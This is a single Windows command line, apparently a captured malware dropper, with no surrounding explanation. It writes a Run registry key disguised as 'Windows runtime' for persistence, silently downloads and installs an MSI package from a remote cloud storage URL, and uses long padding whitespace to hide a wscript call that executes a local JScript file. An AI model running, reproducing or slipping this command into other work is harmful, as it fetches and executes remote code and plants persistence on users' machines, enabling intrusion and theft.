reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows runtime" /t REG_SZ /d "C:\log\back\smss\smss.lnk" /f&&msiexec /q /i&msiexec /q /i https://dabao-1421242244.cos.ap-guangzhou.myqcloud.com/smss8.y /qn&&wscript.exe                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                //E:JScript "C:\log\back\smss\1.txt"